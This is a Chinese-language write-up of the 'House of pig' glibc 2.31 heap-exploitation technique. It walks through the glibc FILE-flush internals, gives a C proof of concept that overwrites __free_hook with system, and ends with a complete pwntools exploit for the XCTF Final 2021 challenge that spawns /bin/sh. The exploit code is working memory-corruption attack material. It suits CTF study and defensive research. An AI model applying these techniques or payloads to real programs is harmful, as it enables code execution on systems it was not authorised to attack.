该方法适用于 glibc-2.31及其以上版本,基本原理是综合 glibc-2.31下的 largebin attack、 IO_FILE结构和 tcache stashing unlink这三种利用手法,常用于目标程序中使用 c a l l o c \textcolor{cornflowerblue}{calloc} calloc代替 m a l l o c \textcolor{cornflowerblue}{malloc} malloc分配内存的情形下。
该方法的核心在于 glibc中的 I O _ s t r _ o v e r f l o w \textcolor{cornflowerblue}{IO\_str\_overflow} IO_str_overflow函数内会连续调用 m a l l o c \textcolor{cornflowerblue}{malloc} malloc、 m e m c p y \textcolor{cornflowerblue}{memcpy} memcpy、 f r e e \textcolor{cornflowerblue}{free} free函数的特点,并且这三个函数均由 IO_FILE结构控制。
程序在主函数返回或者使用 e x i t ( ) \textcolor{cornflowerblue}{exit()} exit()函数退出的时候会调用 _ I O _ f l u s h _ a l l _ l o c k p \textcolor{cornflowerblue}{\_IO\_flush\_all\_lockp} _IO_flush_all_lockp函数,该函数部分源码:
[genops.c:685]
int
_IO_flush_all_lockp (int do_lock)
{
int result = 0;
FILE *fp;
...
for (fp = (FILE *) _IO_list_all; fp != NULL; fp = fp->_chain)
{
...
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
|| (_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))
)
&& _IO_OVERFLOW (fp, EOF) == EOF)
result = EOF;
...
}
...
return result;
}
函数遍历\_IO\_FILE\_plus结构体链表 _IO_list_all,该链表默认前 3个节点依次是 _IO_2_1_stderr_-> _IO_2_1_stdout_-> _IO_2_1_stdin_。
\_IO\_FILE\_plus结构体定义如下:
struct _IO_FILE_plus
{
FILE file;// 实际是_IO_FILE结构 +0x00
const struct _IO_jump_t *vtable; // +0xD8
};
@line:13 当满足如下条件的时候
fp->_mode <= 0
fp->_IO_write_ptr > fp->_IO_write_base
或者:
_IO_vtable_offset (fp) == 0
fp->_mode > 0
fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base
就会调用 _ I O _ O V E R F L O W \textcolor{cornflowerblue}{\_IO\_OVERFLOW} _IO_OVERFLOW宏,该宏定义首先执行对 vtable的合法性检查
static inline const struct _IO_jump_t *
IO_validate_vtable (const struct _IO_jump_t *vtable)
{
/* Fast path: The vtable pointer is within the __libc_IO_vtables
section. */
uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
uintptr_t ptr = (uintptr_t) vtable;
uintptr_t offset = ptr - (uintptr_t) __start___libc_IO_vtables;
if (__glibc_unlikely (offset >= section_length))
/* The vtable pointer is not in the expected section. Use the
slow path, which will terminate the process if necessary. */
_IO_vtable_check ();
return vtable;
}
检查的方法就是用 vtab·le指针减去一个全局变量 __start___libc_IO_vtables得到差值 offset,与固定值 section_length作比较,这两个比较的数都是无符号型,如果 offset超过 section_length 就视 vtable为非法指针,直接执行 @line:12结束进程。
如果检查通过,则调用
v
t
a
b
l
e
+
0
x
18
\textcolor{orange}{vtable+0x18}
vtable+0x18指向的函数指针,默认是函数
_
I
O
_
n
e
w
_
f
i
l
e
_
s
e
t
b
u
f
\textcolor{cornflowerblue}{\_IO\_new\_file\_setbuf}
_IO_new_file_setbuf。House of pig的精髓正是伪造了\_IO\_FILE_plus结构,将 vtable修改为
_
I
O
_
s
t
r
_
j
u
m
p
s
\textcolor{cornflowerblue}{\_IO\_str\_jumps}
_IO_str_jumps从而劫持程序流执行
I
O
_
s
t
r
_
o
v
e
r
f
l
o
w
\textcolor{cornflowerblue}{IO\_str\_overflow}
IO_str_overflow。
I O _ s t r _ o v e r f l o w \textcolor{cornflowerblue}{IO\_str\_overflow} IO_str_overflow部分源码:
int
_IO_str_overflow (FILE *fp, int c)
{
int flush_only = c == EOF;
size_t pos;
if (fp->_flags & _IO_NO_WRITES)
return flush_only ? 0 : EOF;
if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING))
{
fp->_flags |= _IO_CURRENTLY_PUTTING;
fp->_IO_write_ptr = fp->_IO_read_ptr;
fp->_IO_read_ptr = fp->_IO_read_end;
}
pos = fp->_IO_write_ptr - fp->_IO_write_base;
if (pos >= (size_t) (_IO_blen (fp) + flush_only))
{
if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */
return EOF;
else
{
char *new_buf;
char *old_buf = fp->_IO_buf_base;
size_t old_blen = _IO_blen (fp);
size_t new_size = 2 * old_blen + 100;
if (new_size < old_blen)
return EOF;
new_buf = malloc (new_size);
if (new_buf == NULL)
{
/* __ferror(fp) = 1; */
return EOF;
}
if (old_buf)
{
memcpy (new_buf, old_buf, old_blen);
free (old_buf);
/* Make sure _IO_setb won't try to delete _IO_buf_base. */
fp->_IO_buf_base = NULL;
}
memset (new_buf + old_blen, '\0', new_size - old_blen);
_IO_setb (fp, new_buf, new_buf + new_size, 1);
fp->_IO_read_base = new_buf + (fp->_IO_read_base - old_buf);
fp->_IO_read_ptr = new_buf + (fp->_IO_read_ptr - old_buf);
fp->_IO_read_end = new_buf + (fp->_IO_read_end - old_buf);
fp->_IO_write_ptr = new_buf + (fp->_IO_write_ptr - old_buf);
fp->_IO_write_base = new_buf;
fp->_IO_write_end = fp->_IO_buf_end;
}
}
if (!flush_only)
*fp->_IO_write_ptr++ = (unsigned char) c;
if (fp->_IO_write_ptr > fp->_IO_read_end)
fp->_IO_read_end = fp->_IO_write_ptr;
return c;
}
重点部分从 @line:27开始,分配内存 new_buf,大小为 old_blen,由宏定义 _ I O _ b l e n \textcolor{cornflowerblue}{\_IO\_blen} _IO_blen计算得到,其定义如下:
#define _IO_blen(fp) ((fp)->_IO_buf_end - (fp)->_IO_buf_base)
可见 old_blen由位于_IO_FILE结构内的 _IO_buf_end 与 _IO_buf_base的差值决定。
@line:35向 new_buf写入数据,数据来源于_IO_FILE结构内的 _IO_buf_base。
为了能够使得流程进入 @line:27,需要满足一些前置条件:
_IO_FILE结构内的 _flags 取消 _IO_NO_WRITES(0x08) 和 _IO_USER_BUF(0x01) 标志位。假设能够通过 largebin attack和 tcache stashing unlink将目标块 _ _ f r e e _ h o o k − 0 x 10 \textcolor{orange}{\_\_free\_hook-0x10} __free_hook−0x10放到 tcache链表中,到这里就能够利用 I O _ s t r _ o v e r f l o w \textcolor{cornflowerblue}{IO\_str\_overflow} IO_str_overflow将目标块申请回来并修改 _ _ f r e e _ h o o k \textcolor{orange}{\_\_free\_hook} __free_hook为 one_gadget或者能够 getshell的函数,紧接着释放内存就能够 getshell,这便是 House of pig的精髓!
为了更好地利用这种方法,现将汇总一下和本次漏洞利用相关的_IO_FILE结构中几个关键字段的偏移
struct _IO_FILE
{
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */ + 0x00
/* The following pointers correspond to the C++ streambuf protocol. */
char *_IO_read_ptr; /* Current read pointer */ + 0x10
char *_IO_read_end; /* End of get area. */ + 0x18
char *_IO_read_base; /* Start of putback+get area. */ + 0x20
char *_IO_write_base; /* Start of put area. */ + 0x28
char *_IO_write_ptr; /* Current put pointer. */ + 0x30
char *_IO_write_end; /* End of put area. */ + 0x38
char *_IO_buf_base; /* Start of reserve area. */ + 0x40
char *_IO_buf_end; /* End of reserve area. */ + 0x48
...
struct _IO_FILE *_chain; + 0x68
...
}
为了更直观的演示House of pig,我编写了概念验证代码。
g l i b c 2.31 下运行 \textcolor{green}{glibc2.31下运行} glibc2.31下运行
#include
#include
#include
#define _IO_NO_WRITES 0x08
#define _IO_NO_USER_BUF 0x01
char* g_heap_list[0x20]={NULL};
int main()
{
puts(" ========================================================================");
puts("| Wellcome to the house of pig! |");
puts(" ========================================================================");
size_t __free_hook_addr = (char*)((size_t)&free+1394552);
size_t _IO_list_all_addr = (size_t)stderr-0x20;
size_t glibc_base = __free_hook_addr-0x1cce48;
size_t _IO_str_overflow_vtable = glibc_base+0x1c7578;
puts("\n[*] Info:");
printf(
"[+] glibc_base = %p\n"
"[+] _IO_str_overflow_vtable addr = %p\n"
"[+] _IO_list_all addr = %p\n"
"[+] __free_hook addr = %p\n"
"[+] system addr = %p\n"
"[+] g_heap_list addr = %p\n",
glibc_base,
_IO_str_overflow_vtable,
_IO_list_all_addr,
__free_hook_addr,
(size_t)&system,
&g_heap_list
);
puts("--------------------------------------------------------------------------");
puts("[*] Step1: Largebin attack __free_hook - 0x28");
// 分配一个属于largebin的chunk
g_heap_list[0] = (char*)calloc(0x458,1);
// 分配一个小的chunk,防止合并
g_heap_list[1]=(char*)calloc(0x20,1);
// 分配一个属于largebin的chunk
g_heap_list[2] = (char*)calloc(0x448,1);
// 分配一个小的chunk,防止合并
g_heap_list[3]=(char*)calloc(0x20,1);
// 实施一次Largebin attack
free(g_heap_list[0]);
// 将chunk0放入largebin
g_heap_list[4]=(char*)calloc(0x500,1);
// 将chunk2放入unsortedbin
free(g_heap_list[2]);
// chunk0->bk_nextsize = __free_hook-0x28
*(size_t*)(g_heap_list[0]+0x18) = __free_hook_addr-0x28;
// 实施largebin attack
g_heap_list[5]=calloc(0x20,1);
printf("[+] __free_hook-0x8 val = %p\n",*(size_t*)(__free_hook_addr-0x8));
puts("--------------------------------------------------------------------------");
puts("[*] Step2: Fix largebin->bk_nextsize");
// 修复chunk0->bk_nextsize
*(size_t*)(g_heap_list[0]+0x18) = (size_t)g_heap_list[0]-0x10;
puts("--------------------------------------------------------------------------");
puts("[*] Step3: Tcache stashing unlink attack __free_hook - 0x20");
// 分配一个属于smallbin的chunk
g_heap_list[6]=(char*)calloc(0x100,1);
// 释放5次,目的是让chunk6占去Tcache链表5个节点
for(int i=0;i<5;i++)
{
free(g_heap_list[6]);
*(size_t*)(g_heap_list[6]+0x8)=0;
}
// 获取一个smallbin的chunk
g_heap_list[7]=(char*)calloc(0x310-0x120,1);
g_heap_list[8]=(char*)calloc(0x130,1);
// 获取一个smallbin的chunk
g_heap_list[9]=(char*)calloc(0x320-0x120,1);
g_heap_list[10]=(char*)calloc(0x130,1);
// smallbin[0]->bk_nextsize = __free_hook-0x20
*(size_t*)(g_heap_list[1]-0x108) = __free_hook_addr-0x20;
// 实施Tcache Stashing Unlink
g_heap_list[11]=(char*)calloc(0x100,1);
puts("--------------------------------------------------------------------------");
puts("[*] Step4: Largebin attack _IO_list_all_addr - 0x20");
// 分配一个属于largebin的chunk
g_heap_list[12] = (char*)calloc(0x458,1);
// 分配一个小的chunk,防止合并
g_heap_list[13]=(char*)calloc(0x120,1);
// 分配一个属于largebin的chunk
g_heap_list[14] = (char*)calloc(0x448,1);
// 分配一个小的chunk,防止合并,同时作为io_read_base
g_heap_list[15]=(char*)calloc(0x120,1);
// 实施一次Largebin attack _IO_list_all
free(g_heap_list[12]);
// 将chunk12放入largebin
g_heap_list[16]=(char*)calloc(0x500,1);
// 将chunk14放入unsortedbin
free(g_heap_list[14]);
// chunk12->bk_nextsize = _IO_list_all - 0x18
*(size_t*)(g_heap_list[12]+0x18) = _IO_list_all_addr - 0x20;
// 触发Largebin attack的同时充当io_buf_base
g_heap_list[17] = (char*)calloc(0x130,1);
strcpy(g_heap_list[17],"/bin/sh");
*(size_t*)(g_heap_list[17]+8) = (size_t)system;
*(size_t*)(g_heap_list[17]+0x10) = (size_t)system;
*(size_t*)(g_heap_list[17]+0x18) = (size_t)system;
puts("--------------------------------------------------------------------------");
puts("[*] Step5: Fake struct _IO_FILE");
// 伪造_IO_FILE结构
// _flags
*(size_t*)(g_heap_list[12]-0x18)&=~(_IO_NO_WRITES|_IO_NO_USER_BUF);
// _IO_read_ptr
*(size_t*)(g_heap_list[12]-0x18+0x10) = 0;
// _IO_read_end
*(size_t*)(g_heap_list[12]-0x18+0x18) = 0;
// _IO_read_base
*(size_t*)(g_heap_list[12]-0x18+0x20) = 0;
// _IO_write_base
*(size_t*)(g_heap_list[12]-0x18+0x28) = (size_t)g_heap_list[0];
// _IO_write_ptr
*(size_t*)(g_heap_list[12]-0x18+0x30) = (size_t)g_heap_list[0]+0x100;
// _IO_write_end
*(size_t*)(g_heap_list[12]-0x18+0x38) = 0;
// _IO_buf_base
*(size_t*)(g_heap_list[12]-0x18+0x40) = (size_t)g_heap_list[17];
// _IO_buf_end
*(size_t*)(g_heap_list[12]-0x18+0x48) = (size_t)g_heap_list[17]+(0x100-100)/2;
// _chain
*(size_t*)(g_heap_list[12]-0x10+0x68) = 0;
// _mode
*(int*)(g_heap_list[12]-0x10+0xc0) = 0;
// vtable
*(size_t*)(g_heap_list[12]-0x10+0xd8) = _IO_str_overflow_vtable-0x18; //其实就是_IO_str_jumps地址
puts("--------------------------------------------------------------------------");
puts("[*] Get shell!");
puts("--------------------------------------------------------------------------");
return 0;
}
本节就上面的验证代码进行一些分析。在已知glibc内存地址和堆地址的条件下,整个House of pig的攻击流程主要分为4大步骤:
_IO_FILE_plus结构。注意:vtable字段不是直接改为
_
I
O
_
s
t
r
_
o
v
e
r
f
l
o
w
\textcolor{cornflowerblue}{\_IO\_str\_overflow}
_IO_str_overflow函数地址,而是改为
_
I
O
_
s
t
r
_
j
u
m
p
s
\textcolor{cornflowerblue}{\_IO\_str\_jumps}
_IO_str_jumps。如果目标程序存在UFA漏洞并且不限制写入的大小,这种攻击方式应用起来就比较轻松,如果限制了写入的大小就比较考验堆的布局了,更甚者难以利用。
实际比赛遇到的题目限制比较多,例如限制写入的位置或者大小。这就导致通过 Largebin_Attack攻击 IO_FILE结构后,不能直接在堆中构造关键字段,此时就需要使用struct _IO_FILE *_chain字段。方法就是将当前的 IO_FILE结构中的
_IO_write_ptr和_IO_read_base修改成 0,修改struct _IO_FILE *_chain指向具备伪造关键字段条件的堆。
这将在 @实战一节体现。
【条件】
能够泄露 glibc内存和堆内存。
目标程序存在 UAF漏洞,或者能够使用已有漏洞修改已经释放的 chunk,写入的大小无限制或者限制比较宽松。
目标程序使用的是 c a l l o c \textcolor{cornflowerblue}{calloc} calloc分配内存
【步骤】
_IO_FILE_plus结构。注意:vtable字段不是直接改为
_
I
O
_
s
t
r
_
o
v
e
r
f
l
o
w
\textcolor{cornflowerblue}{\_IO\_str\_overflow}
_IO_str_overflow函数地址,而是改为
_
I
O
_
s
t
r
_
j
u
m
p
s
\textcolor{cornflowerblue}{\_IO\_str\_jumps}
_IO_str_jumps。注意:实战中不一定要按上述步骤去执行,要根据实际堆布局去做。但大步骤是不变的,就是先两次 L a r g e b i n _ a t t a c k 再一次 T c a c h e _ s t a s h i n g _ u n l i n k 。 \textcolor{green}{注意:实战中不一定要按上述步骤去执行,要根据实际堆布局去做。但大步骤是不变的,就是先两次Largebin\_attack再一次Tcache\_stashing\_unlink。} 注意:实战中不一定要按上述步骤去执行,要根据实际堆布局去做。但大步骤是不变的,就是先两次Largebin_attack再一次Tcache_stashing_unlink。
_IO_FILE_plus模板:
// 假设在堆 0x10000 中伪造
*(0x10000+0x28) = 0x00; // _IO_write_base
*(0x10000+0x30) = xxx1; // _IO_write_ptr,xxx1>xxx2
*(0x10000+0x40) = chunk1; // _IO_buf_base,chunk1: /bin/sh\x00 system_addr 共16字节数据
*(0x10000+0x48) = chunk1+xxx2; // _IO_buf_end,xxx2*2+100 == tcache中free_hook所在的块大小-0x10
*(0x10000+0x68) = 0; // _chain
*(0x10000+0xd8) = _IO_str_overflow_vtable; // _chain
【XCTF Final 2021】house_of_pig
【保护】

程序是经典的菜单模式,支持增删改查。程序设定了 3种角色:Peppa、Mummy和 Daddy,每种角色都有自己的管理器。
Peppa角色是默认角色,只能分配 0x90~0x430大小的块,数量上限是 20。每分配一次,就会更新当前分配的大小:

所以分配大小是递增的,这也是一个限制。
数据的写入方式是从偏移 0开始写 0x10字节,隔 0x20字节写 0x10字节:

Mummy角色只能分配 0x90~0x450大小的块,数量上限是 10。每分配一次,也会更新当前分配的大小,也是递增的。
数据写入方式是从偏移 0x10开始写 0x10字节,隔 0x20字节写 0x10字节:

Daddy角色只能分配 0x90~0x440大小的块,数量上限是 5。每分配一次,也会更新当前分配的大小,但并不递增:

数据写入方式是从偏移 0x20开始写 0x10字节,隔 0x20字节写 0x10字节:

只能查看两次任意角色数据,并且释放任意角色数据的时候会在两个地方打上标记,防止 double-free

在编辑角色数据的操作中只检查释放操作时打上的其中一个标记:

然而这个标记并不被保存在全局管理器中,在进行其他角色切换到Peppa角色时,该标志会被重置为 0

因此存在 UAF漏洞。
角色切换需要输入正确的密码,密码开头一个字母代表角色。密码比较用的是 MD5,存在漏洞:

以 3c4400开头的 MD5是有很多的。所以简单一个脚本即可得到三种角色对应的密码:
Peppa: A00000000000000000000000000000000000000000000000000000000000zgqv
Mummy: B00000000000000000000000000000000000000000000000000000000000AIuG
Daddy: C00000000000000000000000000000000000000000000000000000000000g3Xw
毫无疑问用的就是本篇介绍的 House_of_pig攻击手法。由于每个角色写入数据的方式不一样,所以在使用Largebin_attack的时候,应选用角色 Mummy。剩下的就是堆布局,经过了大量试错之后得到的 EXP。不要问我为什么这么布局,因为我也是调出来的,这个过程难以描述。。。我TM调了2天~主要还是太菜了T_T
#encode = utf-8
from pwn import*
glib = ELF('/lib/x86_64-linux-gnu/libc.so.6')
p=process('./pig')
def Add_Msg(size,data):
p.sendlineafter('Choice:','1')
p.sendlineafter('size:',str(size))
p.sendafter('message:',data)
def View_Msg(id):
p.sendlineafter('Choice:','2')
p.sendlineafter('index:',str(id))
def Edit_Msg(id,data):
p.sendlineafter('Choice:','3')
p.sendlineafter('index:',str(id))
p.sendlineafter('message:',data)
def Del_Msg(id):
p.sendlineafter('Choice:','4')
p.sendlineafter('index:',str(id))
def Change_Roles(r):
p.sendlineafter('Choice:','5')
if r=='A':
p.sendafter('user:','A00000000000000000000000000000000000000000000000000000000000zgqv')
elif r=='B':
p.sendafter('user:','B00000000000000000000000000000000000000000000000000000000000AIuG')
elif r=='C':
p.sendafter('user:','C00000000000000000000000000000000000000000000000000000000000g3Xw')
else:
p.sendlineafter('user:','')
Change_Roles('B')
Add_Msg(0x430,'A'*(0x10*(0x430//0x30)))#B0
Change_Roles('A')
Add_Msg(0x90,'A'*(0x10*(0x90//0x30)))#A0
Change_Roles('B')
Add_Msg(0x430,'A'*(0x10*(0x430//0x30)))#B1
Change_Roles('A')
Add_Msg(0x90,'A'*(0x10*(0x90//0x30)))#A1
Change_Roles('B')
Add_Msg(0x430,'A'*(0x10*(0x430//0x30)))#B2
Change_Roles('A')
Add_Msg(0x90,'A'*(0x10*(0x90//0x30)))#A2
Change_Roles('B')
Add_Msg(0x440,'A'*(0x10*(0x430//0x30)))#B3
Change_Roles('A')
Add_Msg(0x90,'A'*(0x10*(0x90//0x30)))#A3
Change_Roles('B')
Add_Msg(0x440,'A'*(0x10*(0x430//0x30)))#B4
Change_Roles('A')
Add_Msg(0x90,'A'*(0x10*(0x90//0x30)))#A4
Add_Msg(0x90,'A'*(0x10*(0x90//0x30)))#A5
Add_Msg(0x90,'A'*(0x10*(0x90//0x30)))#A6
Del_Msg(4)
Del_Msg(5)
Change_Roles('B')
Change_Roles('A')
View_Msg(5)
p.recvuntil('The message is:')
heap_base = u64(p.recvline()[1:7].ljust(8,'\x00'))-0x13690
info('heap_base = '+hex(heap_base))
Change_Roles('A')
# new A7~A12
for i in range(6):
Add_Msg(0x100,'A'*(0x10*(0x100//0x30)))
# fill tcache with A7~A12
for i in range(5):
Del_Msg(i+7)
Change_Roles('B')
# # free B3 into unsortedbin
Del_Msg(3)
# # put B3 into Largebin
Change_Roles('B')
Add_Msg(0x450,'A'*(0x10*(0x450//0x30)))#B5
# free B0 into unsortedbin
Change_Roles('B')
Del_Msg(0)
Change_Roles('A')
Change_Roles('B')
View_Msg(0)#B0
p.recvuntil('The message is:')
leak = p.recvline()[1:7]
main_arena_near = u64(leak.ljust(8,'\x00'))
libc_base = main_arena_near-0x1ecbe0
free_hook = libc_base+glib.sym['__free_hook']
IO_list_all = libc_base+glib.sym['_IO_list_all']
system_addr = libc_base+glib.sym['system']
_IO_str_overflow_vtable = libc_base+0x1e9578
info('main_arena_near = '+hex(main_arena_near))
info('glibc_base = '+hex(libc_base))
info('free_hook = '+hex(free_hook))
info('IO_list_all = '+hex(IO_list_all))
info('system_addr = '+hex(system_addr))
info('_IO_str_overflow_vtable = '+hex(_IO_str_overflow_vtable))
# # '''
# # Largebin attack __free_hook-0x58
# # '''
Change_Roles('B')
Edit_Msg(3,p64(heap_base+0x12d40)+p64(free_hook-0x50))
# Trigger Largebin attack
Change_Roles('A')
Add_Msg(0x100,'A'*(0x10*(0x100//0x30)))#A12
# recover Largebin[0]->bk_nextsize
Change_Roles('B')
Edit_Msg(3,p64(heap_base+0x12d40)*2)
# '''
# tacache stashing unlink __free_hook
# '''
# make two smallbin chunk
Change_Roles('A')
Add_Msg(0x210,'A'*(0x10*(0x210//0x30)))#A13
Change_Roles('B')
Add_Msg(0x450,'A'*(0x10*(0x450//0x30)))#B6
# free B3 into unsortedbin
Del_Msg(3)
Change_Roles('A')
Add_Msg(0x330,'A'*(0x10*(0x330//0x30)))#A14
Change_Roles('B')
Add_Msg(0x450,'A'*(0x10*(0x450//0x30))+'\n')#B7
Change_Roles('B')
Edit_Msg(3,'C'*(0x10*(0x440//0x30-5))+p64(heap_base+0x121d0)+p64(free_hook-0x48))
# Tirgger tcache stashing unlink
Change_Roles('C')
Add_Msg(0x100,'A'*(0x10*(0x100//0x30)))#C0
Change_Roles('A')
Del_Msg(13)
# free B4 into unsortedbin
Change_Roles('B')
Del_Msg(4)
# put B4 into largebin
Change_Roles('B')
Add_Msg(0x450,'A'*(0x10*(0x450//0x30)))#B8
# free B3 into unsortedbin
Del_Msg(2)
Change_Roles('A')
Change_Roles('B')
Edit_Msg(4,p64(heap_base+0x13230)+p64(IO_list_all-0x20))
# Trigger Largebin attack
Change_Roles('A')
Add_Msg(0x330,'A'*(0x10*(0x330//0x30)))#A15
# Recover Largebin[0]->bk_nextsize
Change_Roles('B')
Edit_Msg(4,p64(heap_base+0x13230)*2)
Change_Roles('C')
Add_Msg(0x430,p64(0)*3+p64(0x15097+heap_base)+p64(0)*40)#C1
# Change_Roles('C')
Add_Msg(0x430,'C'*(0x10*(0x430//0x30)))#C2
Add_Msg(0x430,'A'*(0x10*(0x430//0x30)))#C3
Del_Msg(2)
Change_Roles('A')
Add_Msg(0x330,'A'*(0x10*(0x430//0x30)))#A17
Change_Roles('C')
pay='\x00'*31
pay+=p64(heap_base+0x14700)+p64(heap_base+0x14700+(0x100-100)//2)
pay+='\x00'*0x30+p8((_IO_str_overflow_vtable-0x18)&0xFF)
pay=pay.ljust(0x10*(0x430//0x30),'C')
Edit_Msg(2,pay)
pay='\x00'*0x2f+'\xFF'
pay+=p8((heap_base+0x151a0)&0xFF)+'\x00'*0x2e
pay+=p64(_IO_str_overflow_vtable-0x18)
pay=pay.ljust(0x10*(0x330//0x30),'\x00')
Change_Roles('A')
Edit_Msg(17,pay)
Change_Roles('B')
pay=('/bin/sh\x00'+p64(system_addr))*(0x450//0x30)
Edit_Msg(6,pay)
# Getshell
Change_Roles('hack')
p.interactive()